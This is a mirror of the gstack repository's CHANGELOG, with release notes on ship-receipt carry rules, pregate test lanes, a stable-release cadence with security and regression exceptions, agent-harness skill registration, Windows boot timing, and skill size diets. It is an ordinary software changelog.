0 Fork 0

mirror of https://github.com/garrytan/gstack.git synced 2026-11-02 23:14:33 +01:00

Files

T

garrytanandcapy-ai[bot] bf9a417d54 fix: prove generated outputs in a second regen run; literal names only

The regen verdict comes from the unmodified run again, so a generator that
reads its own registered output (gen-skill-docs and
qa/templates/functional-report-template.md) passes as before; the proof is a
second run with the touched outputs deleted, and its failure only means not
proven. The carry ignores a proven path with glob syntax, since it uses the
paths as pathspec globs (pre-landing review, #3564 pass 2).

Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>

2026-10-28 23:54:37 +00:00

2.1 MiB

Raw Blame History

Changelog

[Unreleased]

A /ship receipt now survives a base merge that only regenerates outputs, and a rebase onto the tree it reviewed. On gstack-evals, two full /ship reruns came from a merge of main that changed a generated file's diff (U1 paid about 28M tokens for its rerun), and one came from a rebase whose tree was byte-identical to the reviewed one (about 60M). Each re-reviewed code the receipt already covered. For crews the rule is now a single line. Merge main into a reviewed branch, and never rebase it.

Changed

gstack-ship-receipt carry: an output of an entry with a command in origin/'s .gstack/generated.json counts as generated, not product, when the --pregate result for HEAD lists it under the regen check's new proven paths and that check ran the same base registry. Without that evidence, for a file that matches an output glob but that the command never writes, and for an entry with no command or one only the branch registers, the output stays product.
gstack-pregate regen check: a fresh entry with touched outputs runs its command a second time in the scratch worktree with those outputs deleted, and records the ones it recreates byte-identically as proven. The verdict still comes from the first run, so a generator that reads its own output passes as before and proves nothing.
Carry across rewritten history: write records head_tree and product_patch_id, and each carry rebinds both and keeps earlier trees in carry.trees. A head that is no longer an ancestor carries only when its tree is one the receipt covers and its product patch-id against the current base matches; it records carry.ancestry: rewritten and needs no old commit, so a fresh clone carries too. A different tree is the new RECEIPT_CARRY_TREE_MISMATCH. The reviewed tree on a base that moved under it is RECEIPT_CARRY_PRODUCT_CHANGED.
Docs: docs/ship-policy.md#receipt-carry opens with a four-row table: merge with the product unchanged, merge that changes product, rebase onto a covered tree, and any other rebase. docs/captain.md and captain/templates/CREW.md say to merge main in and never rebase a reviewed branch, and the troubleshooting entries for the carry refusals match the new rules.

Tests

test/ship-receipt-carry-rewrite.test.ts: a rebase onto the covered tree carries from a fresh clone that never fetched the old head, a different tree refuses with RECEIPT_CARRY_TREE_MISMATCH, the reviewed tree on a moved base refuses, and a merge that changes only a registered output's diff carries with a pregate whose regen check proved it and refuses without one or with a pregate from another registry, and a hand-written file under an output glob that the generator never writes stays product.
test/gstack-ship-receipt.test.ts: the written receipt's key order includes head_tree and product_patch_id.

[1.91.299.0] - 2026-10-28

The Captain brief now says what rec does when a gate carries earlier decisions. At a gate after the owner already answered some items, such as a round-cap gate, gstack-owner-brief render --captain listed each item's recommendation ("keep the plan as written", rec resolves to d2a) while gstack-gate render and gstack-autoplan answer --reply rec keep the carried answer (d2b). A Captain relaying the brief told the owner the opposite of what their one-word reply would record (#3546). The brief now takes its choices from the same resolver gstack-gate render uses.

Fixed

Carried choices in the Captain brief: each choice under "What we need from you", the header, the change-something example and the relaying agent's rec resolves to line use the rec resolution from parseReply, given the answers already recorded at this gate the way gstack-autoplan answer reads them. A carried item shows the owner's earlier answer marked (your answer at gate_rev N, carried forward), an item answered earlier at this gate is marked (your answer at this gate), and the header says how many answers rec keeps.

Tests

test/captain-brief.test.ts drives a fixture autoplan run to a round-cap gate with three carried decisions, renders gstack-gate render and gstack-owner-brief render --captain for it, and asserts the same rec resolution and choice labels. A second case records a partial answer at that gate and checks the brief's rec against what gstack-autoplan answer --reply rec then records. The negative control strips the carried decisions and expects both renders to fall back to the recommendations.

[1.91.298.0] - 2026-10-28

Dia is gone from gstack. /setup-browser-cookies and cookie-import-browser no longer list Dia as a cookie source, and the Dia qualification harness is deleted. That harness was a set of macOS campaigns that never qualified a native import, and its dia-launch-comparison free test was failing the merge train on Ubicloud runners. Cookie import from Comet, Chrome, Chromium, Arc, Brave, Edge, Opera and Opera GX is unchanged.

Removed

Dia as a cookie source: the registry entry, the dia alias, and every Dia mention in the cookie-import-browser description, the browse and setup-browser-cookies skills, gstack/llms.txt, README, BROWSER.md, ARCHITECTURE.md, CONTRIBUTING.md, docs/skills.md and docs/TESTING_INTERNALS.md.
The dia-native, dia-launch-comparison and dia-gui-readiness modes are gone from native-qualification.yml, along with their job, the four .github/scripts files behind them, and their three browse/test files. Those tests also leave the free-test duration seed and the test typecheck baseline.
clang on the Ubicloud free-suite VM: only the Dia GUI readiness test compiled C on Linux.

Tests

The cookie tests that used Dia as their macOS fixture browser now use Arc, which has the same User Data layout and Keychain shape: numbered-profile discovery, Keychain denial, the credential deadline, the Node bundle import and the picker UI. The historical cookie-workflow approval fixture adds one reverse edit so it still rebuilds the approved prompt byte for byte. No threshold or allowlist changed.

[1.91.297.0] - 2026-10-28

The terminal agent on Windows no longer waits on PowerShell to learn its own start time, so it boots in about a second and a slow PowerShell can no longer leave it without an identity. Every agent boot ran powershell.exe Get-CimInstance with a 2 s timeout, twice when started standalone. On a loaded windows-latest runner one launch took 0.94 s at the median and up to 10.8 s, so agent boot took 2.4 to 2.8 s at the median and 5.1 s on a runner's first boot, past the owner-watchdog test's 5 s window. Measured again after the change under the same load: 0.86 to 0.91 s at the median, 1.18 s at most, 120 of 120 boots inside the window.

Fixed

browse/src/terminal-agent-control.ts: under Bun the Windows start time comes from GetProcessTimes in-process and is written as the same /Date(<ms>)/ value PowerShell's CreationDate gives (147 of 147 processes matched), so records from earlier releases and from the Node daemon, which keeps the PowerShell reader, still compare. The kill-time check still reads the command line through PowerShell, and a process is stopped only when it carries the record's --agent-gen. On Windows a start time that disagrees between the two readers no longer reads as gone when the live process carries that generation or its command line cannot be read, so no second agent starts beside it.

Tests

browse/test/process-liveness-windows.test.ts: the in-process reader, the Node fallback, the kill-time command-line check, a reader disagreement and the unreadable path (never signalled, never gone, blocks a second agent), plus two Windows-only cases: the in-process value equals PowerShell's CreationDate, and a live agent whose identity cannot be read blocks a second one.
browse/test/path-security-realpath.test.ts builds its 8.3 alias with GetShortPathNameW instead of a PowerShell launch that stalled for 30 s in Windows Free Tests 40624015029 and was reported as "8.3 short names are disabled". A failed lookup now fails the test instead of skipping it.
browse/test/cookie-import-native-job.test.ts prints the Restart Manager receipt when the owner assertion fails, so the next red names its cause.

Gate integrity

Test 5 in process-liveness-windows.test.ts expected the PowerShell mock's fixture-owner-start as the owner start time on every platform. On Windows that expectation followed the old implementation, so it moved with the product. It now requires the in-process value, equality with a real read, and no PowerShell query for the owner. The Linux and macOS assertion is unchanged.

[1.91.296.0] - 2026-10-28

The docsync gate stops failing ship-docsync-current and ship-docsync-store when the agent asks the docs helper for its usage in the middle of a line of reads. Five red paid trials since 2026-10-27 each failed on a single refused line. In four, the agent ended a line of reads with gstack-docs-candidate --help (screen 40558235014, gate 40600731931, and screen 40627127462 twice). In the fifth, gate 40643690306, the line included git tag. v1.91.185.0 tried to stop the first slip by moving the "own Bash call" rule into the sentence that names --help, and the slip came back four times. The helper's --help prints its usage and returns before it touches Git or any file, so refusing it protected nothing. The 2026-10-27 backstop red (40515158924, toContain) ran on a tree from before #3516, which had already fixed it.

Fixed

test/helpers/docsync-observer.ts: a line of reads may now include the installed candidate's --help, either alone or after snapshot or compare, optionally with 2>&1 or 2>/dev/null. It counts as a neutral read, the same way a joined Git read does, but never when it is fed by a pipe and never in a line that also runs cd. git tag, git tag -l and git tag --list are now accepted as Git reads, alongside the branch listings #3516 added. A tag operand or any other option is still refused.
test/helpers/docsync-interface.ts: the fixture interface declares both changes. It names the candidate's --help as the one exception to the own-call rule, and it adds tag listings to the Git read list.

Tests

test/docsync-command-grammar.test.ts replays the five captured lines, which were refused before this change, and checks that each is now accepted, while the same line with ; git add app.ts appended is still refused. Negative controls that stay refused: pipe-fed, | sh, > redirect and cd forms; snapshot and compare joined to reads; -h, --version and --help snapshot; the ~ and foreign helper paths; the lifecycle helpers' --help joined to reads; and 13 tag writes or filtered listings.

Gate integrity

This is a gate edit, because the docs detector now accepts more lines. The test that pinned the joined --help as refused now expects it to be accepted. Focused paid trials at e967634: ship-docsync-current PASS ($0.84; its agent did join --help onto a line of reads) and ship-docsync-store PASS ($0.84).

[1.91.295.0] - 2026-10-28

Deleting or renaming a test no longer fails pregate with PREGATE_NO_LANE. A PR that removed a test file, or renamed one, failed lanes because the removed path had no test lane of its own, so cleanup PRs needed a hand-written dependencies entry to pass (#3529). Pregate now accounts for a removed test the way it accounts for an edit. A renamed test runs under its new name, a deleted test runs the remaining tests of the files it exercised, and either one runs the tests of any file that still names it, such as a curation list. Every waived test is printed on its own line, so the reason is visible in the gate output. Removing any other file still needs a lane, as before.

Fixed

Deleted and renamed tests pass lanes: each removed JS, TS, Python, Dart or bats test that nothing remaining imports prints removed (no lane owed): <path> — <why>, and the lanes detail counts N removed path(s). A deleted test (or a test renamed to a non-test path) runs its owning suite, the remaining tests that directly exercise the files its merge-base text exercised (owning suite runs: …); test helpers and fixtures are not subjects. Any removed test also runs the tests of each remaining non-Markdown file that still names it (files naming it run: …), and fails closed when that file has no test.
Lost coverage is named, not hidden: when a deleted test was the last test of a file, the line says coverage removed: <file> has no remaining test and the detail adds M subject(s) lost their last test. A modified file whose only test the branch deleted still fails PREGATE_NO_LANE.

Changed

Only removed tests are waived. These still fail PREGATE_NO_LANE until a test or a dependencies entry covers them. They are any removed non-test path (a renamed source file's old name included), a removed test that remaining code imports, a deleted or renamed Go or Ruby test (it may define helpers its package still uses), and a deleted test whose merge-base text cannot be read (a symlink, invalid UTF-8, over 1 MiB). A remaining test that reads a deleted file or directory is still selected.

Gate integrity

New test/pregate-removed-paths.test.ts (47 cases) covers the waived tests and the fail-closed negative controls; no existing test, threshold or allowlist changed.

[1.91.294.0] - 2026-10-28

gstack-doctor and setup's hook check start far fewer processes, so the doctor tests fit the Windows CI lane again. On Windows Git Bash each process start costs 12 to 77 ms, and the doctor spent most of its time starting them: about 3.3 s per --check and 6 s per dashboard run. windows-free-shard (1) was red on main because test/gstack-doctor.test.ts took 553 to 647 s there. Every doctor row, fix line and JSON field prints the same as before.

Changed

bin/gstack-doctor: clamp uses bash builtins under LC_ALL=C, bytewise like the tr and cut it replaces. The doctor reads codex_reviews, artifacts_sync_mode, telemetry, update_check and test_backend in-process through gstack_config_select, the reader gstack-config get uses, with the same defaults, instead of starting gstack-config six times per --check.
bin/gstack-hook-check scans each hook shim's TypeScript entries once, reads the shebang with read and dedupes its marker-scan list in bash.
bin/gstack-launch-probe.sh takes the first non-blank output line in one subshell instead of a five-process pipeline.
Measured on windows-latest (profile runs 40672710554 and 40676938495): the doctor test file went from 481 s to 185 s, its slowest case from 25.6 s to 9.9 s, and shard 1 from 682 s (red) to 402 s (green). Dispatched run 40678519767 was green on all six Windows shards.

Tests

test/gstack-doctor.test.ts: the --check state-root row names GSTACK_HOME when GSTACK_HOME selected the root, in text and JSON.
test/gstack-launch-probe.test.ts: a broken binary's detail is its first non-blank line, with CRs dropped, cut to 200 bytes.

Gate integrity

test/owner-brief-contributor-banned.test.ts no longer pins the source text gstack-config" get test_backend in bin/gstack-doctor-check.sh, which the in-process read removed. It runs gstack-doctor --check --require cores against a state root holding test_backend: ubicloud and expects test_backend=ubicloud, with an empty state root as the negative control (test_backend=local). The under-8-cores wording pin stays.

[1.91.293.0] - 2026-10-28

gstack-harness errors print again, and register qm says plainly that QM cannot import gstack yet. Every refused gstack-harness command crashed with TypeError: e.line is not a function instead of printing its reason, because Bun gives each thrown error its own numeric line property. Harness Evals then found that QM registration never worked: QM imports a skill pack by cloning the whole repository and stops at 32 MiB and 5,000 files, and gstack's repository is about 73 MiB in 4,300 files.

Fixed

Error lines from bin/gstack-harness: a refused command prints gstack-harness: <reason>. Fix: <what to do> (<CODE>; docs/troubleshooting.md#<anchor>) and exits 1, as documented. The printer is now HarnessError.report().
gstack-harness register qm --yes measures the repository at the installed commit first and stops with HARNESS_QM_PACK_TOO_LARGE before sending anything to QM. A QM that refuses with its own cap message gets the same code with QM's words, and no blind retry.

Docs

docs/hosts.md lists QM as not available yet, with the paste-in route (gstack-harness register generic --print) meanwhile; docs/troubleshooting.md has the harness-qm-pack-too-large section.

Tests

test/harness-register.test.ts: the CLI error path prints the code and fix with no TypeError; register qm against the real checkout refuses with zero requests and no ledger; a QM that answers pack exceeds max bytes gets the cap code; the pack reuse and retry case now runs against a small committed repository.

[1.91.292.0] - 2026-10-28

A fix for a regression on stable can skip the 72-hour wait, like a security fix. Garry, asked whether non-security breakage on stable may bypass the twice-weekly cadence and the floor, answered on 2026-10-28: "Regression". Until now a fix for something the last stable release did right, and the current one breaks, waited up to 72 hours on every team install. Now --regression "#n: worked in v<X>: why" with --ref passes the floor once the tool ties it to the release, and the claim is public in the tag and the notes.

Added

Regression cuts in scripts/release-cut.ts: --regression "<reason>" with --ref <fix sha> (workflow input regression). The reason must name exactly one earlier stable release v<X> and at least one #<n>. The cut is refused with REFUSED_REGRESSION, red on every trigger, unless v<X> is an annotated release tag strictly behind the current stable with a published GitHub Release (the current stable itself never counts, nor a tag a half-done cut left behind), #<n> carries the regression label (a maintainer's declaration; a security label does not count, nor the reverse) and a released commit references #<n>. That the behavior really worked in v<X> stays attested. The record matches a security cut. The sanitized reason and evidence go into the tag (Regression: / Verified:), the notes ((regression release), **Regression release:** …) and the plan (REGRESSION:, RIDING_ALONG:); a half-done cut finishes from its tag; an unmoved exception tag must verify again with the reason it recorded (this now holds for security cuts too).

Changed

One exception per cut. --security and --regression together are REFUSED_REGRESSION. A regression cut passes a dated floor only; FLOOR_UNKNOWN (an undatable or unpublished stable) still yields to a security cut alone. The floor counts from any exception release, so the next scheduled cut may be held. REFUSED_FLOOR names both ways past it.
"Weekly" wording follows the twice-weekly cadence in README.md, bin/gstack-update-channel.sh (its comment and the no-stable-yet message, now "until the first stable release is cut"), the /gstack-upgrade skill's AHEAD_OF_STABLE line and the main-backstop workflow comments. docs/releases.md and docs/recommended-harness.md describe the regression exception.

[1.91.291.0] - 2026-10-28

/ship and /autoplan size their review to the diff. A /ship review used to send the same specialist army, Red Team, adversarial pass and outside voice at every diff and repeat the whole army after any fix, up to three passes. Now gstack-review-plan classifies the diff (docs, tests, code or gate) and plans the next step through one transition table, so a README edit gets the core checklist and a gate change still gets everything. Measured on two captured diffs across five loop scenarios with measured reviewer output (scripts/review-dispatch-compare.ts), estimated review tokens fall to a median 0.26x of before on docs-only diffs and 0.85x on code diffs (0.52x over all ten runs, range 0.23–0.99). Every reviewer that can block a ship stays at full effort on the lane's model; a paid replay showed a medium-effort fix-check miss a fail-open that the full-effort check caught.

Added

gstack-review-plan: prints REVIEW_CLASS, REVIEW_PLAN, NEXT (full, fix-check, stop or done), one DISPATCH: line per reviewer with its effort, SKIP: lines with reasons, and AUDIT_EFFORT; --json for scripts. Docs-class diffs run the core checklist only, tests-class adds the testing specialist, code and gate keep scope-selected specialists, and gate adds the Red Team every time. Markdown an agent reads (skills, sections, templates, policy and rule docs, any markdown in a skill directory) counts as code. A git error fails closed instead of planning an empty diff.
One fix-check instead of a repeat army: below-floor fixes, or a blocker fixed at the two-pass cap, go to one full-effort reviewer that reads the fix list, the touched hunks, the callers and the test results (gstack-review-plan --fix-check-prompt). It logs as review-fix-check, never a pass, and Step 11.5 binds it. The cap is two full passes plus one fix-check; a blocker still open stops for the owner.
Step 11's voices run once per invocation, from the last full-pass plan; the outside voice reruns only when a published number changes (--reviewed-numbers). A docs diff that publishes numbers keeps the cross-family voice.
Delta /ship after a base merge: Step 1 runs gstack-ship-receipt carry --dry-run; when the product patch-id is unchanged it skips the review loop, repairs only the CHANGELOG and size caps, runs gstack-pregate at HEAD and carries the receipt with --pregate. Replayed on #3497's history, 3 of its 6 base merges would have carried.
Receipt counters: review_loop gains fix_checks, dispatches by role and est_input_tokens; /autoplan export prints DISPATCHES: <n> est_input_tokens=<k>.
/autoplan rounds: one round by default, a second only for High or Critical findings, ESCALATE: evidence sufficient, decision needed at the cap; a revise whose decisions all sit below High applies without re-review, unless an earlier capped revise is still waiting on the owner. Docs-only plans (--docs-only or detected) run CEO on the native voice, then Eng.
review_effort_tiers (gstack-config, default on): coverage, plan-completion and docs audits, trail reviewers and watchers run at light on the same model family; off runs them at the host default.

Changed

gstack-ship-receipt carry --pregate refuses when the checkout is not at --head (RECEIPT_CARRY_PREGATE_STALE), so one head's pregate cannot certify another.
Specialist prompts cap findings at 400 words. docs/unattended.md adds report-length limits (READY at most 150 words plus required lines, reports at most 300).

Gate integrity

Ship's union growth is a +1,757-byte entry in GSTA-132's size ledger (test/size-ledger/ship/garrytan-gsta131-token-efficiency.json; measured 330,781 bytes, SIZE_LEDGER: ok), and the ship skeleton cap in test/helpers/carve-guards.ts moves 60,913 → 60,960 bytes, pinned at the measured size. The five /review size pins in test/fixtures/skill-md-size-allowlist.json go down by 2 bytes each.
test/autoplan-token-efficiency.test.ts gives its subprocess-driven cases a 30-second timeout; its resumed-run case persists max_rounds: 1 instead of 3, a value inside the new cap of 2.
test/ship-receipt-carry-pregate.test.ts joins KNOWN_WINDOWS_INCOMPATIBLE in scripts/lib/windows-curation.ts, like the four other tests that pass --pregate to the receipt CLI. On a Windows host the fixture's Linux lane is a requires-remote obligation, so write refuses the pregate (windows-free-shard run 40611810409). It still runs on Linux and macOS.
Ship's Step 11 now runs the adversarial passes the review plan dispatches, so three prose pins move with it: test/skill-validation.test.ts and test/outside-voice-preflight.test.ts expect the ship heading without "always-on" and the native pass "on DISPATCH: adversarial-native" (/review keeps "always runs"), test/ship-control-flow.test.ts pins the one plan call that picks decisions 2–4, and test/fixtures/workflow-required-steps.json pins the renamed Step 11 heading.

[1.91.290.0] - 2026-10-28

Installing gstack inside an agent harness now gives that harness gstack's skills, the harness's own way. Until now OpenClaw and Hermes were instruction-only: ./setup --host hermes printed a digest path and changed nothing, so an agent working inside OpenClaw or Hermes could not find a single gstack skill until a person wired one in by hand, and QM, dots, Muse Code and Grok were unknown to gstack (Garry, 2026-10-27: "when gstack is installed inside OpenClaw, Hermes, qm, muse, grok bot, dots or any harness it auto resolves and figures out how to use the skills"). ./setup run inside OpenClaw, Hermes or a Dot now registers gstack there in the same run; gstack-uninstall takes it back out.

Added

bin/gstack-harness (lib/harness-register.ts, lib/harness-qm.ts): register, unregister, status, detect, refresh, auto and manifest for seven targets. OpenClaw gets one gstack router skill (one 254-byte description line in every request; its body lists every skill with its path) in $OPENCLAW_STATE_DIR/skills, or every skill with --skills all. Hermes gets every skill as gstack-<skill> in one gstack category, because it opens only skills it has indexed. A Dot gets the router in /home/dot/skills. QM gets an org skill pack (github.com/garrytan/gstack at the installed commit) through one explicit admin command, register qm --yes, which lists packs first so a retry never makes a second one. Muse Code and Grok Build already read ~/.claude/skills; status reports them as discovered, Claude-rendered and unverified. Any other harness gets the router in a skills folder (--skills-dir) or a routing block of at most 600 bytes between gstack:begin/gstack:end markers in a context file (--context), and --print writes both to stdout for chat-only apps such as Grok Bot.
Ownership ledger: every file gstack-harness writes goes into $GSTACK_STATE_ROOT/harness/<id>.ledger with its sha256. Registering again changes only what changed; a folder or a skill name gstack did not write stops it; a destination that is your home, the checkout, a symlink or outside a plain path is refused. gstack-uninstall reads the ledgers with bin/gstack-harness-ledger.sh (bash only) before it removes the checkout, never follows a symlink below the destination, and renames any file you edited to <file>.edited-<time> beside itself, so the edit outlives the uninstall. A --context block is cut only when its file holds exactly the block gstack wrote (whole-line markers, hash in the ledger); a lone marker or an edited block is left as it is.
Ten reason codes (HARNESS_*), each with a fix line and a docs/troubleshooting.md section.

Changed

OpenClaw and Hermes are experimental hosts with install.registration: 'harness': ./setup --host openclaw|hermes registers through gstack-harness, publishes an install-registry row and ends with gstack ready (<host>); ./setup --refresh-registered (what /gstack-upgrade runs) refreshes every registration. OpenClaw's ACP route is unchanged.
./setup with no --host (or --host auto) inside a harness registers with it, detected from the marker the harness sets for its agent's commands (OPENCLAW_SHELL=exec, HERMES_AGENT=true, a Dot's HOME=/home/dot) or the harness among setup's parent processes. An explicit --host claude writes nothing under a harness folder. --no-harness-auto or GSTACK_HARNESS_AUTO=0 turns it off. Capy's installer names its hosts, so nothing changes on Capy machines.

Removed

install.instructionTier from the host config and the setup arms that printed the digest path for OpenClaw and Hermes; the 2KB digest itself stays for rules-reading agents.

Fixed

./setup --status no longer tells an OpenClaw or Hermes install to move the checkout out of its runtime root, because those hosts run from the checkout by design, as Claude does.

Tests

test/harness-register.test.ts: per-target registration against temporary harness folders (idempotent rerun, exact removal, user skills and context lines kept, edited files kept beside themselves through a full uninstall, a lone, repeated or edited context block left alone, a moved --context recorded, a symlinked folder below the destination never followed), the refusals, the Dot engine's skill-parser rules, the budgets, every reason code's anchor, inside-harness detection, the bun-free ledger reader, QM against a fake admin API (a failed import retried without a second pack, two machines sharing one pack, --remote archiving), and the real ./setup and gstack-uninstall for --host openclaw, --host hermes and setup run inside OpenClaw.

Docs

docs/hosts.md § Agent harnesses (install, verify and remove for each harness), docs/install.md, docs/uninstall.md, docs/OPENCLAW.md (native skills or ACP), docs/ADDING_A_HOST.md (harness hosts and how to add a target), docs/capy-install.md, README host matrix.

[1.91.289.0] - 2026-10-28

/plan-design-review, /office-hours and /design-review load 15 to 40 percent fewer bytes per run, with the same or better task results. Garry picked the skill-diet pilot on 2026-10-27 (A1): "pilot now with the upstream skill-diet on two or three large skills nobody is editing this week (design-review, office-hours, plan-design-review). Each slimmed skill ships only if it passes skill-diet's before/after test and gstack's own paid tests for that skill." All three passed both. Each SKILL.md now holds what every run needs; blocks only some runs use moved into on-demand sections behind a one-line "read when" pointer, and prose the model already knows was cut. Descriptions and triggers are unchanged.

Changed

/plan-design-review: Claude-host SKILL.md 66,063 → 56,209 bytes (−14.9%). skill-diet panel (Opus 5.5, 3 runs per arm): success 25/33 before and after (no skill: 11/33); lower median tokens per successful task 210,252 → 197,581 (−6.0%); the blind judge preferred the dieted skill in 8 of 12 pairs. The designer intro keeps its rule (generate mockups when DESIGN_READY) and drops the command list.
/office-hours: 73,248 → 43,885 bytes (−40.1%); Codex host 81,152 → 48,074. The Phase 3.5 second opinion and the Phase 4.25 visual design (sketch and mockup) moved to sections/second-opinion.md and sections/visual-design.md; the Phase 3.5 question stays in the main file. Panel: 26/27 → 27/27 (no skill: 14/27); lower median tokens 170,197 → 124,941 (−26.6%); judge: after 10, before 5 of 15.
/design-review: 115,947 → 84,868 bytes (−26.8%); Codex host 124,144 → 90,977. The outside voices moved to sections/outside-voices.md (after Phase 6) and the test bootstrap to sections/test-bootstrap.md, read at Phase 8e.5, its only consumer. The design methodology prose in scripts/resolvers/design.ts (rendered only by these skills) was tightened; reports go to $REPORT_DIR under the state root, as Phase 10 already said, and the checklist headers count the items they now list. Panel: 32/36 → 34/36 (no skill: 14/33); lower median tokens 326,662 → 257,819 (−21.1%); judge: after 9, before 5, 1 tie.
Every other skill's regenerated output is byte-identical to main on every host (gen:skill-docs --host all, diff -rq against a main worktree): 85 generated files differ, all belonging to the three skills.

Tests

test/design-printed-paths.test.ts, test/design-setup-probe.test.ts, test/gen-skill-docs.test.ts and test/run-in-background-guidance.test.ts read the moved blocks from their new sections; test/skill-validation.test.ts and test/touchfiles.test.ts follow the new section files.
Paid cases ran at each skill's product head. Every plan-design-review case is green; carve-section-loading-plan-design-review failed once and passed its one rerun (flaky). Office-hours is green except office-hours-brain-writeback, flaky at 1/3 and then 2/3 on its rerun; the failing trials piped the page on stdin as the unchanged gbrain host template documents, while the test's fake gbrain reads only --content, a fixture defect for the flaky ledger. design-review's four rule cases are green and both judges ('design-review/SKILL.md fix loop', 'plan-design-review/SKILL.md passes') PASS. design-review-fix self-skips without Aside and did not run.

Gate integrity

test/fixtures/skill-md-size-allowlist.json (exact characters): 12 design-review pins deleted (now under the limit), 3 plan-design-review pins deleted and 8 lowered. Nothing raised.
test/fixtures/context-budget.json: only the three skills' keys move, recaptured with bun test/helpers/capture-context-budget.ts (× 1.1): design-review 30295 → 22175, office-hours 19139 → 11467, plan-design-review 17262 → 14687.
test/helpers/carve-guards.ts (exact bytes; ratios rounded up at 4 decimals): maxSkeletonBytes lowered to the measured skeletons (56,209, 43,885, 84,869; design-review measures 84,868 after the checklist count fix, one byte under its pin); design-review minUnionBytes 143,300 → 136,100 (union 137,602) and maxSizeRatio 1.3739 → 1.3001 (137,602 / 105,842 = 1.30007).
The one raise: office-hours maxSizeRatio 1.1796 → 1.1921, granted by GStack Minder as merge-queue owner. The union grew 1,662 bytes because the Phase 3.5 question now sits in the main file while CODEX_SECOND_OPINION keeps its own copy; the measured 156,286 / 131,110 = 1.19202 needs 1.1921 after rounding up (the grant text said 1.1920). Per-run load fell 73,248 → 43,885 bytes. Follow-up: let CODEX_SECOND_OPINION take a flag that omits its question when the skeleton asks it, then lower the cap.
test/helpers/placeholder-allowlist.ts: the <affected-url> entry is deleted. The design-review diet removed the only Phase 8d fence that used it, and the allowlist's own staleness check (test/env-host-fence-conformance.test.ts, CEO-12) failed. No timeout, trial count or case kind changed.

[1.91.288.0] - 2026-10-28

Stable moves twice a week, and never twice in 72 hours unless a security fix needs it. Garry asked, 2026-10-27: "Do we have rules around stable where we update stable except for security fixes at most once every 72 hours?" There were none: the Monday cut and any hand-run cut moved team installs whenever someone ran it. Now the release cut runs Monday and Thursday at 14:00 UTC ("Ok twice a week"), refuses any move inside 72 hours of the last one, and lets a security fix through only when it can tie the fix to the commits being released.

Added

The 72-hour floor in scripts/release-cut.ts. Every cut, scheduled or by hand, measures stable's last move from the annotated v<VERSION> tag on stable (or its GitHub Release's publish time when later; any other tag on that commit is ignored) and refuses inside 72 hours. The refusal's first two lines are REFUSED_FLOOR: stable moved to v<X> at <time>, <h> h ago; … and NEXT_ALLOWED: <time> for a hand-run cut; <time> for a scheduled run, followed by the plan it would have run. Scheduled runs alone get 3 hours of grace for GitHub's late cron starts, so a Thursday run after a late Monday cut still cuts. The floor fails closed, so a stable no annotated v<VERSION> tag dates, a release that cannot be read, or a cut while stable's own release is unpublished is FLOOR_UNKNOWN, and a run without --ref finishes an unpublished cut before moving on. A refused hand cut exits 1 with an error annotation; a refused scheduled run or dry run exits 0 with a notice, since the policy is working.
Security cuts: --security "<reason>" with --ref <fix sha> (workflow inputs security and ref). The reason must name a GHSA-…, CVE-… or #<n>, and the cut passes the floor only when a commit in the span names that GHSA or CVE, #<n> carries the security label and a commit references it, or the GitHub Advisory Database lists an npm package whose own entry changes in the span's package.json or bun.lock. Anything else is REFUSED_SECURITY. The reason (one public line) goes into the tag message and the release notes as **Security release:** …, finishing a half-done security cut reuses the reason and evidence its tag recorded (a security tag that never moved stable must verify again), and the plan's RIDING_ALONG: line counts the other versions that ship with the fix.

Changed

.github/workflows/weekly-release.yml is now "Stable release" and runs Monday and Thursday (0 14 * * 1,4). The file keeps its name so its run history and every gh workflow run weekly-release.yml stay valid. The cut job can read issue and pull-request labels for the security check.
Release notes say (regular release), (hotfix release) or (security release) instead of "weekly release", and the next regular cut after a security release lists only the versions since it.
The stable push is pinned to the stable the plan read (--force-with-lease=refs/heads/stable:<sha>), so two overlapping cuts cannot both move it.
Docs: docs/releases.md gains "The 72-hour floor" and "Security releases" (what is verified and what is attested) and the new outcome codes; the cadence sentence in docs/install.md and the release section of docs/recommended-harness.md follow.

[1.91.287.0] - 2026-10-28

Write, change and slim skills with /write-skill; the first diet halves /learn's template with the same results. Garry asked, 2026-10-27: "Can we incorporate skill writing and improvement into gstack? https://github.com/nicobailon/skill-diet". gstack now has one skill for writing a new skill, changing an existing one, and putting one on a diet, plus a size bill, a static check that skills only call flags their bins accept, and a contract for the shared before/after skill eval the gstack-evals crew is building. /learn is the pilot: its template drops from 5,797 to 2,955 bytes and its rendered SKILL.md from 11,217 to 8,375. An A/B of 30 sessions per version on claude-opus-5-5 passed 30/30 before and 30/30 after (29/30 with no skill), with 10% fewer tokens per session. Adapted from nicobailon/skill-diet at 5f41df1 (MIT; NOTICE.md). Plan approved by Garry, 2026-10-27: "A1, B1, C1 D1 E1" and "Rec".

Added

/write-skill: three modes. New writes a skill from a request; change adds a lesson by editing the line it belongs to rather than appending a paragraph; diet produces a free report first (size bill, drift findings, suggested level moves), then eval tasks written before any cut, then the cut and a before, after and no-skill eval. It works on your own skill folders, never edits an installed gstack skill in place (it points at the checkout's template or a copy you own), and asks for a Skill-Size: <before>→<after> bytes line in the commit. Not /skillify, which codifies a browser scrape.
gstack-skill-bill <name|folder> [--json]: bytes and estimated tokens for a skill's description, template, render and on-demand files, the last Skill-Diet: commit and the growth since, DUE past 10%, and baseline: unknown on shallow or non-git folders. In a gstack checkout it also names the skill's eval task file and checks it against the contract (EVAL TASKS:, EVAL_TASKS_INVALID). Errors carry stable codes and a fix line (SKILL_NOT_FOUND with the closest names, SKILL_AMBIGUOUS, SKILL_MD_MISSING, RENDER_STALE).
Skill-to-bin drift ratchet (scripts/skill-bin-drift.ts, test/skill-bin-drift.test.ts): every gstack bin call in templates, carved sections and the Claude-host render must name a bin that exists and flags its parser accepts, or the free suite fails with DRIFT_UNKNOWN_BIN or DRIFT_UNKNOWN_FLAG at file:line. Today: 1,751 calls to 105 bins, one allowlisted false positive, and an allowlist that can only shrink. It also lists bins with permissive parsers or no usage text as the help backlog.
docs/designs/SKILL_EVAL_CONTRACT.md: the interface the shared skill eval implements (arms, task format, verdict file, exit codes, the per-task verdict policy). Task files live at test/fixtures/skill-evals/<skill>/tasks.json, and a free test holds them to the format.
gstack-learnings-search --stats replaces the stats program /learn used to carry inline, and both learnings bins answer --help.

Changed

/learn reads as one mode table over the learnings bins, with the prune rules kept. Prune asks remove, keep or update for each flagged entry, and only a request that already names the action counts as the answer.
